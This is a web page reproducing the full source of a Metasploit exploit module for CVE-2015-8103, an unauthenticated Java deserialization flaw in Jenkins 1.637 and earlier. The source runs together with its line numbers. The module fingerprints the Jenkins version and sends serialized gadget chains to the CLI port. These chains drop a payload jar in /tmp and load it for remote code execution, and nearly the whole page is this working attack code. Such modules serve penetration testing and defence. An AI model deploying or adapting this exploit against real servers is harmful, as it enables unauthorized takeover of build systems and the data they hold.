Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/misc/jenkins_java_deserialize.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::FileDropper1011def initialize(info = {})12super(update_info(info,13'Name' => 'Jenkins CLI RMI Java Deserialization Vulnerability',14'Description' => %q{15This module exploits a vulnerability in Jenkins. An unsafe deserialization bug exists on16the Jenkins master, which allows remote arbitrary code execution. Authentication is not17required to exploit this vulnerability.18},19'Author' =>20[21'Christopher Frohoff', # Vulnerability discovery22'Steve Breen', # Public Exploit23'Dev Mohanty', # Metasploit module24'Louis Sato', # Metasploit25'wvu', # Metasploit26'juan vazquez', # Metasploit27'Wei Chen' # Metasploit28],29'License' => MSF_LICENSE,30'References' =>31[32['CVE', '2015-8103'],33['URL', 'https://github.com/foxglovesec/JavaUnserializeExploits/blob/master/jenkins.py'],34['URL', 'https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java'],35['URL', 'http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability'],36['URL', 'https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2015-11-11']37],38'Platform' => 'java',39'Arch' => ARCH_JAVA,40'Targets' =>41[42[ 'Jenkins 1.637', {} ]43],44'DisclosureDate' => '2015-11-18',45'DefaultTarget' => 0))4647register_options([48OptString.new('TARGETURI', [true, 'The base path to Jenkins in order to find X-Jenkins-CLI-Port', '/']),49OptString.new('TEMP', [true, 'Folder to write the payload to', '/tmp']),50Opt::RPORT('8080')51])5253register_advanced_options([54OptPort.new('XJenkinsCliPort', [false, 'The X-Jenkins-CLI port. If this is set, the TARGETURI option is ignored.'])55])56end5758def cli_port59@jenkins_cli_port || datastore['XJenkinsCliPort']60end6162def exploit63if cli_port == 0 && !vulnerable?64fail_with(Failure::Unknown, "#{peer} - Jenkins is not vulnerable, aborting...")65end66invoke_remote_method(set_payload)67invoke_remote_method(class_load_payload)68end697071# This is from the HttpClient mixin. But since this module isn't actually exploiting72# HTTP, the mixin isn't used in order to favor the Tcp mixin (to avoid datastore confusion &73# conflicts). We do need #target_uri and normlaize_uri to properly normalize the path though.7475def target_uri76begin77# In case TARGETURI is empty, at least we default to '/'78u = datastore['TARGETURI']79u = "/" if u.nil? or u.empty?80URI(u)81rescue ::URI::InvalidURIError82print_error "Invalid URI: #{datastore['TARGETURI'].inspect}"83raise Msf::OptionValidateError.new(['TARGETURI'])84end85end8687def normalize_uri(*strs)88new_str = strs * "/"8990new_str = new_str.gsub!("//", "/") while new_str.index("//")9192# Makes sure there's a starting slash93unless new_str[0,1] == '/'94new_str = '/' + new_str95end9697new_str98end99100def check101result = Exploit::CheckCode::Safe102103begin104if vulnerable?105result = Exploit::CheckCode::Vulnerable106end107rescue Msf::Exploit::Failed => e108vprint_error(e.message)109return Exploit::CheckCode::Unknown110end111112result113end114115def vulnerable?116res = send_request_cgi({117'uri' => normalize_uri(target_uri.path)118})119120unless res121fail_with(Failure::Unknown, 'The connection timed out.')122end123124http_headers = res.headers125126unless http_headers['X-Jenkins-CLI-Port']127vprint_error('The server does not have the CLI port that is needed for exploitation.')128return false129end130131if http_headers['X-Jenkins'] && http_headers['X-Jenkins'].to_f <= 1.637132@jenkins_cli_port = http_headers['X-Jenkins-CLI-Port'].to_i133return true134end135136false137end138139# Connects to the server, creates a request, sends the request,140# reads the response141#142# Passes +opts+ through directly to Rex::Proto::Http::Client#request_cgi.143#144def send_request_cgi(opts={}, timeout = 20)145if datastore['HttpClientTimeout'] && datastore['HttpClientTimeout'] > 0146actual_timeout = datastore['HttpClientTimeout']147else148actual_timeout = opts[:timeout] || timeout149end150151begin152c = Rex::Proto::Http::Client.new(datastore['RHOST'], datastore['RPORT'])153c.connect154r = c.request_cgi(opts)155c.send_recv(r, actual_timeout)156rescue ::Errno::EPIPE, ::Timeout::Error157nil158end159end160161def invoke_remote_method(serialized_java_stream)162begin163socket = connect(true, {'RPORT' => cli_port})164165print_status 'Sending headers...'166socket.put(read_bin_file('serialized_jenkins_header'))167168vprint_status(socket.recv(1024))169vprint_status(socket.recv(1024))170171encoded_payload0 = read_bin_file('serialized_payload_header')172encoded_payload1 = Rex::Text.encode_base64(serialized_java_stream)173encoded_payload2 = read_bin_file('serialized_payload_footer')174175encoded_payload = "#{encoded_payload0}#{encoded_payload1}#{encoded_payload2}"176print_status "Sending payload length: #{encoded_payload.length}"177socket.put(encoded_payload)178ensure179disconnect(socket)180end181182end183184def print_status(msg='')185super("#{rhost}:#{rport} - #{msg}")186end187188#189# Serialized stream generated with:190# https://github.com/dmohanty-r7/ysoserial/blob/stager-payloads/src/main/java/ysoserial/payloads/CommonsCollections3.java191#192def set_payload193stream = Rex::Java::Serialization::Model::Stream.new194195handle = File.new(File.join( Msf::Config.data_directory, "exploits", "CVE-2015-8103", 'serialized_file_writer' ), 'rb')196decoded = stream.decode(handle)197handle.close198199inject_payload_into_stream(decoded).encode200end201202#203# Serialized stream generated with:204# https://github.com/dmohanty-r7/ysoserial/blob/stager-payloads/src/main/java/ysoserial/payloads/ClassLoaderInvoker.java205#206def class_load_payload207stream = Rex::Java::Serialization::Model::Stream.new208handle = File.new(File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-8103', 'serialized_class_loader' ), 'rb')209decoded = stream.decode(handle)210handle.close211inject_class_loader_into_stream(decoded).encode212end213214def inject_class_loader_into_stream(decoded)215file_name_utf8 = get_array_chain(decoded)216.values[2]217.class_data[0]218.values[1]219.values[0]220.values[0]221.class_data[3]222file_name_utf8.contents = get_random_file_name223file_name_utf8.length = file_name_utf8.contents.length224class_name_utf8 = get_array_chain(decoded)225.values[4]226.class_data[0]227.values[0]228class_name_utf8.contents = 'metasploit.Payload'229class_name_utf8.length = class_name_utf8.contents.length230decoded231end232233def get_random_file_name234@random_file_name ||= "#{Rex::FileUtils.normalize_unix_path(datastore['TEMP'], "#{rand_text_alpha(4 + rand(4))}.jar")}"235end236237def inject_payload_into_stream(decoded)238byte_array = get_array_chain(decoded)239.values[2]240.class_data241.last242byte_array.values = payload.encoded.bytes243file_name_utf8 = decoded.references[44].class_data[0]244rnd_fname = get_random_file_name245register_file_for_cleanup(rnd_fname)246file_name_utf8.contents = rnd_fname247file_name_utf8.length = file_name_utf8.contents.length248decoded249end250251def get_array_chain(decoded)252object = decoded.contents[0]253lazy_map = object.class_data[1].class_data[0]254chained_transformer = lazy_map.class_data[0]255chained_transformer.class_data[0]256end257258def read_bin_file(bin_file_path)259data = ''260261File.open(File.join( Msf::Config.data_directory, "exploits", "CVE-2015-8103", bin_file_path ), 'rb') do |f|262data = f.read263end264265data266end267end268269270